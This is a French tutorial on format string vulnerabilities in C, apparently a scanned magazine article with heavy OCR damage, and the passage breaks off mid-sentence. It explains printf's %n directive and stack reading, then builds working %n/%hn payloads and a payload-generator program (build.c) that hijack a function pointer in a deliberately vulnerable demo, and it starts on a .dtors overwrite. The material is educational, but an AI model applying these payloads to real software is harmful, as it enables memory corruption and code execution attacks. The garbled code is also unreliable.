Eviter lesfaillesde séauritédesle
developpement d'une application
4° Partie*

Depuis quelques temps déja, les messages signalant que tel ou tel programme contient une faille de type
chaine de format (format string) se multiplient. Cet article explique d'ou vient le danger et montrera qu'une
tentative d'économie de six caractéres a saisir suffit a compromettre la sécurité d'un programme.

D'ou vient le danger ?

La plupart des failles de séaurité ont souvent une méme
cause: la parese. Larégle n'est pas mises en défaut dans
le as des bogues de format.

Trés uvent, dansun programme, il est nécessaire d'éaire
une chaine de caractéres (le "lieu" de I'éaiture n'est pas
important, il peut tout auss bien sagir d'un fichier que de
la sortie standard). Une simple instruction suffit :

printf("%s", str);

Toutefois, un programmeur peut dédder de gagner du
temps et six octets en n'éaivant que :

printf(  str);

Par ce souci d'émnomie, ce programmeur vient d'ouvrir
une faill e potentielle dans on oeuvre. |l sest contenté de
passr comme agument une chaine de caactéres, quiil
voulait de toute facon afficher sans aucune modification.
Pourtant, cete chaine sera balayée a la recherche de
diredives de formatage (%d, %g, ...) . Lorsguun tel
caractere de format et démuvert, I'argument
correspondant est recherché danslapile.

Nous commenceons par quelques rappes s les
fonctions de type printf() , mais nous aborderons
également des aspeds moins connus de ces routines.
Ensuite, nous verrons comment obtenir les informations
nécessaires a l'exploitation dune telle falle. Enfin, nous
raseembleronstout ced dansle calre d'un exemple smple.

Les chaines de format : rappels et
découvertes

Dans cete partie, nous nous intéreserons aux chaines de
format. Nous ferons un bref rappel sur leur utilisation et
nous irons a la démuverte d'une format assez peu connu
dont nous dévail erons toutes les arcanes.

printf() : on m'aurait menti !

Commencons par ce gue nous avons tous appris dans nos
manuels de programmation : la plupart des fonctions de
ledure / éaiture du langage C utilisent un mécanisme de
formatage des données, c'est-a-dire qu'outre lavaleur alire
ou éqire, il faut également prédser comment I'éaire. Le
programme suivant illustre ced¢ smplement :

[* aff.c*/
#include <  stdio.h
main() {
inti=64;
chara="a
printf(" int : %d % d\n", i, a);
printf("char : %c % c\n", i, a);

}
Son exéaution produit I'affichage suivant :

gce aff.c-o aff
[ aff

int : 64 97

char: @ a

Le premier printf() éait le montenu ke la variable
entiere i et de lavariable a de type char sous forme de
valeurs entiéres (par le formatage %09, ce qui provoque,
dans la s de la variable a, I'affichage non de la lettre
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a' mais du code ASCII correspondant. En revanche, le
second printf() convertit la variable entiere i en
caractére @ affiche le caactére @rrespondant au code
ASCII 64.

Ced ne congtitue en rien une révolution et reste mnforme
avec de nombreuses fonctions qui utilisent un prototypage
similaire a céui delafonction printf( ) :

1. unargument, sous forme de taine de caactéres
(const char *format ) sart a prédser le
format employé;

2. un ou pusieurs autres arguments optionnels,
représentent les variables dont les valeurs sont
formatées relativement aux indications contenues
dansla cthaine précélente.

La plupart de nos cours de programmation sarré&ent ici, en
prédsant une liste non exhaugtive de formatages possbles
(%g %, %, I'utili sation du caractére . pouwr indiquer la
prédsion...) Mais il est un formatage souvent passer sous
silence:%n Voici ce quen dt la page man de la fonction
printf()

The number of characters written so far is stored into the
integer indicated by the int * (or variant) pointer
argument. No argument is converted.

Le nombre de caactéres d§ja éaits est stocké dans I'entier
indiqué par I'argument pointeur de type int * . Aucun
argument n'est converti.

Il faut bien comprendre ceque céa signifie : cet argument
permet d'éaire dans une variable de type pointeur, méme
lorsguil est utili sé dans une fonction d'affichage !

Avant de ntinuer, signalons que ce format existe
également pour les fonctions de la famille de scanf( ),

syslog() ..

Jouons un peu

Nous alons maintenant éudier ['utilisation et le
comportement de ce formatage au travers de petits
progammes. Le premier, printf 1, en illustre une
utilisation simple:

[* printfl.c */

1:# include < stdio.h

2:

3: main() {

4: char* buf = "0123456789";
5 intn

6:

7. printf("% s%n\n",  buf, &n);
8: printf("n =% d\n", n);

9:}

Le premier printf() affiche la dhaine de caactéres
"0123456789 " qui comporte dix caractéres. Le format
%néait donc cedte valeur danslavariablen :

gcc printfl.c -o printfl
Jprintfl

0123456789

n=10

Transformons |égérement notre programme en remplagant
I'ingruction printf( ) de la ligne 7 par l'ingruction
suivante :

7. printf(" buf=%s%n\n",  buf, &n);

L'exéaution de cenouveau programme confirme bien nos
espoirs : lavariable n vaut 14, soit 10 caractéres provenant
de la chaine "buf " plusles 4 caractéres "buf= " contenus
dansla thaine de format elle-méme.

Le formatage % comptabilise donc tous les caractéres qui
apparaissnt dans la chaine de format. En fait, comme le
montre le programme printf2 il comptabili se plus que
ca:

[* printf2.c */

#include <  stdio.h

main() {
char buf[10];
intn, x=0;

snprintf(  buf,
printf("l = %
printf("n = %

}

L'utilisation de la fonction snprintf() force I'éaiture
d'au pus dix octets dans la variable buf . La variable n
devrait donc valoir 10 :

sizeof  buf, "%.100d%n", X, &n);
d\n", strlen( buf));
d\n", n);

gcc printf2.c -o printf2
Jprintf2

=9

n =100

En fait, le format % compte le nombre de caactéres qui
auraient di é&re éaits. Cet exemple illustre que lors de
I'éaiture trongquée d'une chaine dans un buffer de taille
fixe, le format % ignore cdtetroncature.

Que se pase-t-il rédlement ? En fait, la chaine de format
et complétement développée avant d'étre rewpiég
comme l'illustre le programme printf3

[* printf3.c */

#include <  stdio.h
main() {
char buf[5];
intn, x =1234;
sizeof

snprintf( buf, buf, "%.5d%n", x, &n);

printf("l = % d\n", strlen( buf));
printf("n = % d\n", n);
printf(" buf = [%s] (%d)\n", buf, sizeof  buf);
}
printf3 comporte quelques différences par rapport a

printf2

» lebuffer est réduit a unetaille de dnq octets



e dans la dane de format, la prédsion vaut
également 5 ;

+ on dffiche findement le mntenu du buffer.

Son exéaution donne I'affichage suivant :

gcc printf3.c -o printf3

Jprintf3

=4

n=5

buf = [0123] (5)

Les deux premiéres lignes ne présentent aucune surprise.
Quant a la derniére, dle illustre le mmportement de la

fonction printf()

1. la chaine de format est déployée, conformément
aux commandes qu'dlle mntient, ce qui donne ici
la chaine de caacteres "00000\0 " ;

2. les variables nt inscrites aux emplacement
prévus, ce qui serésume a reapier la variable x
dans notre exemple. La chaine de caactéres
contient alors "01234\0 " ;

3. enfin, sizeof buf-1  octets sont recpiés
de cete dhaine dans la destination buf , ce qui
nous donnebien "0123\0 "

En toute rigueur, ced n'est pas parfaitement exact mais
refléte le fonctionnement général. Pour plus de détails, le
ledeur poura se référer aux sources de la Glib C, en
particulier cdles de la fonction vfprintf() dans le
répertoire ${GLIBC_HOME}/ stdio-common

Avant de dore cdte partie, signalons qu'il est posshle
d'obtenir exactement les mémes résultats avec une autre
éaiture dans les chaines de format. Nous avons
précéemment utilisé le format appelé prédsion (le point
' dans les chaines de format). Cette prédsion indique la
guantité minimale de chiffres a écrire pour représenter un
nombre. Une autre mmbinaison dingructions de format
conduit & un résultat similaire : On, ou n indique lalargeur
du nombre, 0 guil faut mettre des 0 & la place des espaces
au cas ol le nombre ne remplirait pas toute la largeur qui
lui est dl ouée

Maintenant que les chaines de format en géné&a et le
format %nen particulier ne présentent plus aucun seaet,
nous al ons éudier leurs comportements.

pile et printf()

Explorer la pile

Le programme suivant nous guidera au long de cdte partie
afin de omprendre le omportement de la fonction
printf() vis-a-visdelapile:

/¥ pile.c*/

1: # include < stdio.h>

2:

3:  int

4 main( int argc, char ** argv)
5:{

6: inti=1;

7: char buffer[64];
8: char tmp[] = "\x01\x02\x03";
9:

10: snprintf(buffer, sizeof buffer,
11: buffer[ sizeof (buffer) - 1] = 0;

12: printf(*buffer : [%s] (%d)\n",
strlen(buffer));

13: printf ("i = %d (Yp)\n", i, &i);

14:}

argv[1]);

buffer,

Ce programme se @ntente de rempier un argument dans
la dhaine buffe r. Nous avons bien pris soin - comme
nous l'avons vu dans les articles précélents - de ne pas
recpier "trop" de données et de mettre un caractére de fin
de cane afin déviter les risques de débordement de
buffers.

gce pile.c -o pile

pile toto

buffer : [toto] (4)

i = 1 (bffff674)

Il fonctionne comme nous nous y attendions. Avant
d'approfondir, nous allons examiner ce qui se pase al
niveau de la pile lors de I'appe de la fonction

snprintf() enligne8.
STACK
Haut
Tcbp+92 i=1
Tebp-+a2
buffer
{6 oerets)
Bcbp+20 [0 0 03 D2 0 L
Febpr 16 Format {argv[ [T - === - --oc oo ;
Tebpr+12 Taille de bufferme - ---cc oo C : E
ebprd Adr. de buffer fme--------- . ! :
Foeip snpﬁnﬁﬁbu'll:fcr, sizeof bufter, arlgv[l.]);
Foebp = Febp
Bas \

Cete figure déait I'éat de la pile au moment ou le
programme entre dans la fonction snprintf( ) . Nous ne
nous préoccupons pas ici du registre %esp. Il pointe
quelque part en-dessous du registre %ebp. Comme nous
['avons vu dans un précélent article, les deux premiéres
valeurs stuées en %bp et %ebp+4 contiennent les
sauvegardes respedives des regisires %ebp et %ei p. Les
arguments de la fonction snprintf() apparaisent
aors:

1. l'adresedeladestination ;

2. lenombre maximal de caactére arewpier ;



3. l'adrese de la dhaine de format argv[l ] qui
fait également office de donnée

Enfin, d'aprés les urces de notre programme, le reste de
la mémoire est occupé successvement par le tableau de 4
caractéres tmp, puisles 64 cctets de la variable buffer

et finalement lavariable entiérei .

La chaine de caactéres argv[l] set alafoisde caine
de format et de données. En effet, dans l'ordre des
arguments normaux de la fonction snprintf( ),
argv[l] apparait en lieu et place de la chaine de format.
Comme il n'est pas pédalement contre-indiqué d'avoir
des caractéres dans cdle-ci, tout se déroule normal ement.

Que se paset-il maintenant lorsgque argv[l ] ne
contient plus uniquement des caractéres smples, mais
également des caactéres de ntréle ? Normalement,
snprintf() les interpréte comme tels.. et il ny a
aucune raison pour quil agisse différement. Mais dans ce
cas, quels sont les arguments employés pour construire la
chaine résultante éant donné que nous ne lui en
fournisoons aucun ? En fait, snprintf( ) se sert
diredement dans la pile! Revenons a notre programme
pile

Jpile "123 %x"

buffer : [123 30201] (9)

i = 1 (bffff674)

Tout dabord, la chaine "123 " et rewmpiée dans
buffer . Le %xindique a snprintf( ) de convertir le

premier argument rencontré en hexadédmal. D'aprés la
figure vue plus haut, ce premier argument n'est autre que

la variable tmp qu contient la  caine
\x01\x02\x03\x00 , Cequi appardait, sur notre type de
microprocesseur, comme [|'éguivalent du nombre

hexadédma 0x0003®01.

Jpile "123 %x %x"

buffer : [123 30201 20333231] (18)

i = 1 (bffff674)

L'ajout d'un second %x permet d'explorer plus loin dans la
pile. En effet, il indique asnprintf( ) daller chercher
les quatre octets Stués aprés la variabletmp. |l sagit alors

des quatre premiers octets du buffer . Or, buffe r
contient la chaine "123 ", ce qui peut se voir comme le
nombre hexadédma  0x203323L (Ox20=espace
0x31="1"...). Pour chaque %x snprintf( ) "se déplace"
par sauts de quatre octets (unsigned int sur les

processeurs ix86) dans buffer
un coubleréle:

. Cette variable joue ainsi

1. destination pour I'éaiture;

2. source données pour les instructions de

formatage.

Nous pouvons remonter dans la pile d'autant d'octets que
peut en contenir notre buffe r :

Jpile  "%#010x %#010x %#010x %#010x %#010x

%#010x"

buffer : [0x00030201 0x30307830  0x32303330
0x30203130 0x33303378 0x333837] (63)
i = 1 (bffff654)

Toujours plus haut

Cette méthode permet de remonter dans la pile jusqua
I'extrémité du buffer. Certes, cete information et d§a
amplement suffisante, maisil est possble d'aler chercher
d'autres informations plus loin dans la pil e, au-dddla méme
du buffer vulnérable.

Parmi les ingtructions de formatage, il en existe une
utilisée parfois lorsqu'il est nécessaire de permuter les
paramétres a onvertir. On insére entre le caactére %et la
diredive de mise en forme une séquence m$ ou mest un
entier positif ou nul. Ce nombre représente la position dans
la lisge d'arguments de la variable a utiliser (le ompte
commenceal) :

/¥ explore.c */

#include <  stdio.h>
int
main( int argc, char ** argv) {
char buf[12];
memset( buf, 0, 12);
snprintf(  buf, 12, argv[1]);

printf("[%s] (%d)\n",
}
Le formatage a I'aide de m$ nous permet de remonter ol
nous voulons dans la pile, tout comme nous le ferions en
utilisant gdb :

buf, strlen( buf));

Jexplore %1\$x
[01 (1)

Jexplore %2\$x
[01 (1)

Jexplore %3\$x
[01 (1)

Jexplore %4\$x
[bffff698] (8)
Jexplore %5\$x
[1429¢b] (6)
Jexplore %6\$x
[21 (1)

Jexplore %7\$x
[bffff6c4] (8)

Le aractere \ est ici nécessaire pour protéger le $ e
éviter que le shell n'essaye de l'interpréter. Les trois
premiers appels nous font visiter le mntenu de la variable
buf . Nous ohtenons, avec %4\$x la sauvegarde du
registre %ebp, puis, avecle suivant, la valeur de |'adresse
de retour de la fonction main() . Les 2 derniers résultats
présentés ici montrent la valeur de la variable arg ¢ pus
l'adresee @ntenue dans *arg v (rappelons que la
dédaration ** argv signifie que *arg v est un tableau
d'adresss).



En résumé ...

Ca exemple illustre que les formats fournis nous
permettent alors de remonter dans la pile en quéte
dinformations, par exemple la valeur de retour dune
fonction, une adress... Or, nous avons vu au début de ce
article que nous pouvions éaire avec les fonctions de type
printf() nous oMmes donc en présence d'une
magnifique vulnérabil ité potentidle !

Premiers pas

Pour terminer de vous convaincre, revenons au programme
pile

perl -e 'system " Ipile
\x64\xf6\xff\xbf%.496x%n™
buffer

[d6§¢,00000000000000000000000000000000000000000000
000000000000000] (63)
i = 500 (bffff664)

Nous transmettons comme chaine de caacteres :
1. l'adresedelavariablei ;
2. uneingruction de formatage (%.496x ) ;

3. une semnde ingruction de formatage (%01 qui
éaira al'adress indiquéedanslapile.

Pour déterminer I'adrese de la variable i (Oxbffff664
ici), on peut lancer deux fois le programme, et modifier la
ligne de commande en conséquence. Comme vous pouvez
le ongater, i a changé de valeur. La caine de format
transmise d la disposition de la pile signifient que le
snprintf() sinterpréte en fait aing :
snprintf(buffer,

sizeof buffer,

"\x64\xf6\xff\xbf%.496x%n",

tmp,
quatre premiers octets de buffer);

Les quatre premiers octets (i.e. l'adresse de i ) sont éaits
au cébut de buffer . La diredive %.496x nous %
"débarasE" de la variable tmp présente dans la pile. Nous
pourrons aind arriver au début du buffer. Bien que la
prédsion décaiture demandée soit 496, dle n'éait que
soixante octets au maximum (car il y en a d§a quatre
d'éait, et la longueur du buffer, transmise en second
argument vaut 64). La valeur 49 est arbitraire, et nous
permet de manipuler le compteur d'octets éaits. Nous
avons vu que la diredive %nstocke le nombre d'octets qui
auraient d0 ére éqits. Ici, cete valeur vaut 496 plus les
guatre octets dga éaits, soit 500. Ce nombre et reapié a
l'adrese indiquée par l'argument suivant. Comme la
remontée de la pile nous a conduit au début du buffer,
I'éaiture a lieu a l'adrese représentée par ses quatre
premiers octets, c'est-a-direi .

Mais nous pouvons poussr cet exemple encore plus loin.
Pour parvenir a modifier la valeur de i, nous avions

besoin de mnnaitre son adresse... mais dans certains cas,
le programme nous ladonne :

/¥ swap.c*/
#include <  stdio.h>

main( int argc, char ** argv) {
int cptl = 0;

int cpt2 = 0;

int addr_cptl = &cptl;

int addr_cpt2 = &cpt2;

printf(  argv[1]);
printf("\ncptl = %
printf("cpt2 = %

}

L'exéaution de ce programme nous révéle que nous
pouvons contréler la pile (presque) comme nous le
voulons :

Jswap AAAA
AAAA

cptl=0

cpt2=0

Jswap AAAA%1\$n
AAAA

cptl=0

cpt2=4

Jswap AAAAY2\$n
AAAA

cptl=4

cpt2=0

d\n”, cptl);
d\n", cpt2);

Comme vous le mnstatez, en fonction de I'argument
fourni, nous modifions it cpt 1, soit cpt2 . Le format
%n sattend a rencontrer une adresse, c'est pourquoi nous
ne pouvons pas modifier diredement une variable e
essyant %3%n (cpt2 ) ou %4%$n (cptl ) mais que
nous devons passer par un pointeur. Ces derniers ont des
denrées courantes en C et les posshilit és de modifications
sont vraiment fréguentes.

Variations sur le méme théme

Les exemples présentés précéemment proviennent d'un
programme compilé avec egcs-2.91.66 et glibc-
2.1.3-22 . Toutefois, vous n'ohktiendrez probablement
pas les mémes résultats chez vous. En effet, les fonctions
de type *printf() changent suivant les versions de la
glibc et les compilateurs n'effectuent pas du tout les
mémes opérations.

Le programme variant e me en évidence ce
différences:

[* variante.c */
#include <  stdio.h>
main( int argc, char ** argv) {
char aaal] = "AAA";

char buffer[64];

char bbb[] = "BBB";

if ( argc<2){
printf("Usage : %s <
exit (-1);

format>\n",argv[0]);

memset(buffer, 0, sizeof buffer);



Sﬂpiifnfg(bflf”ferr _ O/Size°f buffer, O/dfirqv[ll)?b , Lestableaux aaa et bbb nous ®rvent de délimiteurs dans
strl‘;rr':(]blgﬁeur))?r = el (%dpn”, - buffer, notre remontée de la pile. Aing, nous surons que lorsque

nous rencontrerons 42424 2, les octets slivants suivants
seront dans buffe r. Letableau ci-dessous les diff érences
en fonction des versions des glibc

Compil ateur glibc Affichage

0cc-2.95.3 2.1.3-16 [ouffer = [8048178 808618 804828e 133ca0 bffff 454 424242 38343088 2038373 (63)

egcs-2.91.66 2.1.3-22 |buffer = [424242 32343234 3320334 3331333 20343332 3032333 3433233 3] (63)

gcc-2.96 2.1.92-14 |buffer = [120c67 12430 7 1H78e 424242 63303231 31D3736 3373432 20372 (63)

gcc-2.96 2.2-12 buffer = [120c67 12430 7 1878e 424242 63303231 313736 33373432 20372Q (63)

Dans la suite de cé article, nous continuerons a utili ser
egcs-2.91.66 et la glibc-2.1.3-22 , mais ne
soyez donc pas urpris s vous constatez des diff érences
sur votre machine.

Exploitation d'un bug de format

Lors de I'exploitation des débordements de buffer, nous
profitions d'un buffer powr aler dans la pile écaser la
valeur deretour delafonction.

Avec les chdines de format, nous avons vu que nous
pouvions accéder ou nous voulions (pil g, tas, bss .dtors...),
nous devons juste fournir |'adresse pour que la diredive
%nsache ou éaire.

Le programme vulnérable

Nous disposons de plusieurs méthodes pour exploiter les
bugs de formats. L'article de P. Bouchareine Format string
vulnerahility présente |'écrasement de la vaeur de retour
d'une fonction, mais d'autres alternatives snt tout a fait
envisageables.

/¥ vuln.c */

#include <  stdio.h>
#include <  stdlib.h>
#include < string.h>

int  helloWorld ();
int  accessForbidden ();

int  vuln ( const char *format)
{
char buffer [128];
int(*  ptrf) ()
memset (buffer, 0, sizeof (buffer));
printf (" helloworld() = % p\n“,  helloWorld);
printf (" accessForbidden() = % p\n\n“,

accessForbidden);
ptrf = helloWorld,;

printf ("Avant formatage :
ptrf, & ptrf);
snprintf (buffer, sizeof buffer, format);
printf ("buffer = [%s] (%d)\n",
buffer, strlen (buffer)) ;
printf ("Aprés formatage : ptrf() = %p (Yop)\ n",
ptrf, & ptrf);

ptrf() = %p (%p)\ n,

return

}

intmain(  int
{

inti;

if ( argc<=1){

ptrf ();

argc, char ** argv)

fprintf( stderr, "Usage: %s < buffer>\n",
argv[0]);
exit(-1);
for(i=0;i< arge; i++)
printf("%d %  p\n“,i,argvli]);

exit( vuln(  argv[1]));
}

int  helloWorld ()

printf (" Welcome in\"  helloWorld\"\n");
fflush ( stdout);
return O;

}

int accessForbidden ()
printf(" You shouldn't be here\n");
fflush ( stdout);
return O;

}

Nous définisons une variable ptrf qui est de type
pointeur sur une fonction. Nous allons modifier la valeur
de cepointeur pour exéauter lafonction de notre choix.

Premier exemple

Tout d'abard, il nous faut oltenir le déclage eistant entre
la position courante dansle pile & le buffer :



. vuln "AAAA %x %X %X %X"
helloworld() = 0x8048634
accessForbidden() = 0x8048654

Avant formatage :
buffer = [AAAA 2lalcc 8048634

ptrf() = 0x8048634 (OXbffff5d4)
41414141 61313220]

(37)
Apres formatage : ptrf() = 0x8048634 (Oxbffff5d4)
Welcome in"  helloWorld"

[ vuln AAAA%3\$x
helloworld() = 0x8048634
accessForbidden() = 0x8048654

Avant formatage : ptrf() = 0x8048634 (Oxbffff5e4)
buffer = [AAAA41414141] (12)

Apres formatage : ptrf() = 0x8048634 (Oxbffff5e4)
Welcome in"  helloworld"

Le premier appel a notre programme nous révee
immédiatement ce que nous recherchons: trois mots (au
sens mot machine, i.e. quatre octets sur les x86) nous
séparent du début de la variable buffe r. Le semnd
appe, avec ®mme premier argument AAAA%3\$X,
confirme ce ongtat.

Notre but est donc de remplacer le @ntenu initial du
pointeur ptrf (& savoir 0x804863 4 qui correspond a
I'adrese ex mémoire de la fonction helloWorld() ) par
la valeur 0x804865 4 (adrese de
accessForbidden() ). Nous devons donc écire
0x8048654 octets (cequi fait 13451460 octets, environ
128M0). A titre indicaif, le programme prend environ 20
secondes aur un bi-pentium 350 MHz :

./ vuln “printf

"XdA\xf5\xff\xbf%6%.134514256x%%"3\$n *

helloworld() = 0x8048634
accessForbidden() = 0x8048654

Avant formatage :
buffer =
[©8y¢,00000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
000000000000000000000000000000] (127)

Apres formatage : ptrf() = 0x8048654 (0Oxbffff5d4)

You shouldn't be here" accesForbidden"

ptrf() = 0x8048634 (Oxbffff5d4)

Qu'avons-nous fait ? Nous avons juste fourni |'adresse de
ptrf (Oxbffff5d4) . Ensuite, l'instruction suivante
de formatage (%.134514256x ) lit le premier mot de la
pile sur le nombre désiré d'octets (nous avons déja écrit
quatre octets avec l'adrese de ptrf , il en reste donc
134514260-4=134514256 ). Enfin, nous éaivons

cdtevaleur al'adresse désirée(%3%n).

Problémes de mémoires
régner

diviser pour

Toutefois, il n'est pas toujours posshble d'utiliser des
buffers de 128Vio. Le format %nattend un pointeur sur un
entier, c'est-a-dire quatre octets. 1l est possble d'en altérer
le comportement pour en faire un pointeur sur un short

int , soit uniquement deux octets, gréace al'instruction
o n. Nous démupons donc l'entier dans lequel nous
voulons éaire en deux parties. La plus grose éciture
tiendra dors sur Oxfff f octets (6553 octets = 64Ko0).

Ains, en reprenant I'exemple précdent, nous
transformons I'opération "éaire 0x8048654 a |'adrese
Oxbffff5sd4 " en deux opérations siccessves:

e éaire0x8654 al'adress Oxbffff5d4

« éaire0Ox0804 al'adrese
Oxbffff5d4+2=0xbffff5d6

La secmnde éciture se situe sur les octets hauts de I'entier,
cequi explique le décalage nécessaire de deux unités.

Cependant, % (ou au %hn) comptabilise le nombre de
caractéres éqits jusgu'a présent dans la dhaine. Il ne fait
donc quaugmenter. Des deux paires doctets, nous
commengons donc par cdle qui contient la plus petite
valeur ! Ensuite, il ne reste plus qu'a utiliser la différence
entre cete valeur et la semnde e guise de prédsion pour
obtenir la bonne valeur. De retour a notre exemple, le
premier formatage est %.2052 x (2052 = 0x0809 et le
second %.32336x (3233 = 0x8654 - 0x0804). Chaque
ohn placé juste aprés comptabilisera le nombre voulu
d'octets.

Il reste aindiquer aux deux ingructions de formatage %hn
ol éaire. L'opérateur m$ nous facilite la tache. S nous
placons ces deux adresses dés le début du buffer, nous
n'avons qu'aremonter la pile a oup e m$ pour trouver la
valeur de mgu correspond au début du buffer. Comme
nous utilisons les huit premiers octets du buffer pour y
stocker les adresses a écraser, la premiére valeur éaite doit
ére diminuéedautant.

Notre chaine de format ressemble alorsa :

"[ adr] [adr+2] % . [val. min. -8] x%
[offset] $h n% . [val. max - val. min.]
X% [offset + 1] $ hn"

Le programme buil d construit une chaine de format a
partir de troisinformations:

1. l'adreseaéaase ;
2. lavaeuray place ;

3. l'offset (en nombre de mot machine) jusquau
début du buffer.

/* build.c */

stdio.h>
stdlib.h>
unistd.h>
string.h>

#include <
#include <
#include <
#include <

Vi

Les quatre octets ou écrire sont décomposés

ainsi : HH HHLL LL

Les variables terminant par "*h" correspondent
a la partie haute (H)

Les variables terminant par "*|" correspondent

a la partie basse (L)



*/
char* build( unsigned int addr, unsigned
value, unsigned int where) {

int

int

unsigned int length = 128; // flemme unsigned
valh;

unsigned int vall;

unsigned char b0 = ( addr >> 24) & 0xff;

unsigned char bl = ( addr >> 16) & Oxff;

unsigned char b2 = ( addr >> 8) & 0xff;

unsigned char b3 = ( addr ) & Oxff;
char* buf;

/* décomposition de la valeur */
valh = (value >> 16) & Oxffff; //haut

vall = value & OXxffff; /Ibas

fprintf( stderr, " adr : %d (%x)\n", addr, addr);

fprintf( stderr, "val : %d (%x)\ n",value,value);

fprintf( stderr, " valh: %d (%.4x)\ n",valh,valh);

fprintf( stderr, " vall: %d (%.4x)\ n“,vall,vall);

/* allocation du buffer */

if ! buf=(char *)malloc( length*sizeof(char)))){
fprintf( stderr, " Can't allocate buffer

(%d)\n", length);

exit(EXIT_FAILURE);
memset( buf, 0, length);

if ( valh< vall){

snprintf( buf,

valh-8, /* pour ajuster le premier % hn */
where, /*le % hn sur la partie haute */
vall-valh,/* pour ajuster le second % hn */
where+1 /*le % hn sur la partie basse */
} else{
snprintf(  buf,
length,
"%c%c%c%c"
"%c%c%c%c"
"%%.%hdx"
"%%%$hn"
"%%.%hdx"
"%%%$hn",
b3+2, b2, b1, bO,
b3, b2, b1, bO,
vall-8, where+l,
valh-vall, where );
}
return  buf;
}
int
main( int  argc, char ** argv)
{
char* buf;
if ( argc<3)

length,
"%C%c%c%c"  /* adresse haute */
"%Cc%Cc%c%c"  /* adresse basse */

"%%.%hdx" /* pour ajuster le premier % hn */

"%%%@$hn" /* le % hn sur la partie haute */
"%%.%hdx" /* pour ajuster le second % hn */
"%%%@$hn",/* le % hn sur la partie basse */

b3+2, b2, bl, b0, /* adresse haute */

b3, b2, b1, b0, /* adresse basse */

return (EXIT_FAILURE);
buf = build( strtoul(  argv[1], NULL, 16),
strtoul(  argv[2], NULL, 16),
atoi( argv[3]));
fprintf( stderr, "[%s] (%d)\ n",
buf, strlen( buf));
printf("%s", buf);

return (EXIT_SUCCESS);
}

Selon quelapremiére valeur a écire se situe dans la partie
haute ou base de la vaeur totae, I'ordre des arguments
change. Véifions que nous obtenons maintenant le méme
résultat que précélemment, mais sans les problémes
potentiels de mémoires.

Tout dabord, notre exemple dant asez simple, le seul
paramétre que nous avons a déterminer est I'offset :

J vuln AAAA%3\$x

argv2 = 0xbffff819

helloworld() = 0x8048644
accessForbidden() = 0x8048664

Avant formatage : ptrf() = 0x8048644 (Oxbffff5d4)
buffer = [AAAA41414141] (12)
Apres formatage : ptrf() = 0x8048644 (Oxbffff5d4)

Welcome in"  helloworld"

Nous constatons quil vaut toujours 3. Comme notre
programme poursuit un but pédagogique, nous avons d§ja
les autres informations nécessaires a |'exploitation, c'est-a-
dire les adreses de ptrf et accesForbidden( ).
Nous transmettons alors notre buffer avuln

J vuln "/ build Oxbffff5d4 0x8048664 3

adr : -1073744428 (bffff5d4)

val : 134514276 (8048664)

valh: 2052 (0804)

vall: 34404 (8664)

[08¢ OBy ¢ %.2044x%3$hNn%.32352x%4$hn] (33)
argv2 = 0xbffff819

helloworld() = 0x8048644

accessForbidden() = 0x8048664

Avant formatage : ptrf() = 0x8048644 (0Oxbffff5b4)

buffer =
[©&Y¢,06y¢,00000000000000000000d0000000000000000000
0000000000000000000000000000000000000000000000000
000000000000000000000000000] (127)

Apres formatage : ptrf() = 0x8048644 (0Oxbffff5b4)
Welcome in"  helloworld"

Il nesest rien pas® ! En fait, comme nous avons employé
un buffer plus grand que le précélent dans la chaine de
format, la pile a changé l'adrese de ptrf (de
Oxbffffsd4 , ele sest déplacéead Oxbffffsb4 ). Nous
devons donc gjuster cette valeur :

J vuln "/ build Oxbffff5b4 0x8048664 3

adr : -1073744460 (bffff5b4)

val : 134514276 (8048664)

valh: 2052 (0804)

vall: 34404 (8664)

[116Y¢, 0y ¢ %.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819

helloworld() = 0x8048644

accessForbidden() = 0x8048664

Avant formatage : ptrf() = 0x8048644 (0Oxbffff5b4)

buffer =
[116y¢,”6y¢,0000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
000000000000000000000000000000] (127)

Apres formatage : ptrf() = 0x8048664 (0Oxbffff5b4)

You shouldn't be here

Notre programme fonctionne !!!



Autre exploitation

Dans ced article, nous avons commenceé par prouver que
les bogues de format contenait une faille de séaurité. Un
autre asped est I'exploitation de cate faille. Le précélent
article présentait les débordements de buffer et
I'exploitation qui correspondait (I'éaasement de la valeur
de retour d'une fonction). D'autres posshilit és existent et
nous alons présenter cdle qui Sattaque a la sedion
. dtors

Lorsguun programme et compilé avec gcc, il contient
une sedion constructeur (. ctors ) e une autre
destructeur (. dtors ). Chacune de ces ®dions contient
des pointeurs sur des fonctions a exéauter respedivement
avant dentrer dans le main( ) e une fois que le
programme en sort.

/¥ cdtors */

void entree( void) ___ attribute_ (( constructor));
void sortie( void) __  attribute__ (( destructor));
int main()

printf("dans main()\n");

void entree( void)

printf("dans entree()\n");

void sortie( void)

printf("dans sortie()\n");

Le résultat obtenu illustre cea :

gcc cdtors.c -0 cdtors
./ cdtors

dans entree()

dans main()

dans sortie()
Chacune de ces ®dions est construite de la méme
maniéere

objdump -s j . ctors cdtors

cdtors: file format elf32-i386
Contents of section . ctors:
804949c ffffffff dc830408

objdump -s -j . dtors

00000000
cdtors
cdtors: file format elf32-i386

Contents of section . dtors:
80494a8 ffffffff f0830408

00000000

On vérifie que les adresses indiquées correspondent bien a
cdles de nos fonctions (attention: la commande
objdump précélente donneles adresses en little endian) :

objdump -t cdtors | egrep " entree|sortie"
080483dc g F . text 00000012
entree

080483f0 g F . text 00000012
sortie

Ainsi, ces £dions contiennent les adresses des fonctions a
exéauter en entréeou sortie, encadrées par Oxfffffff f
et 0x00000000 .

Appliquons ced avuln en uilisant les chaines de format.
Nous devons déerminer tout d'abord I'emplacement en
mémoire de ces edions, ce qui est trés facile lorsgue le
binaire et a portée de main, simplement en utilisant la
commande objdump comme nous venons de lefaire;

objdump -s j . dtors  wvuln

vuln:  file format elf32-i386

dtors:
ffffffff 00000000

Contents of section .
8049844

Cay ed, c'est terminé: nous avons tout ce qu'il nous faut
maintenant.

L'exploitation consiste a remplacer |'adresse de la fonction
présente dans une des ®dions par cdle de lafonction que
nous voulons exéalter. Au cas ou ces ®dions ont vides,
il suffit déaaser le 0x0000000 O qu marquelafin dela
sedion, ce qui aura pou effet de provoquer une
segmentation fault ca ne trouvant plus le
0x00000000 , les quatre octets suivants sront interprétés
a leur tor comme une adresse de fonction, ce qui n'est
probablement pasle as.

En pratique, seule la sedion . dtor s est intéressante a
exploiter : on na pas le temps de faire quoique ce soit
avant la sedion . ctor s. D'une maniére générale, il faut
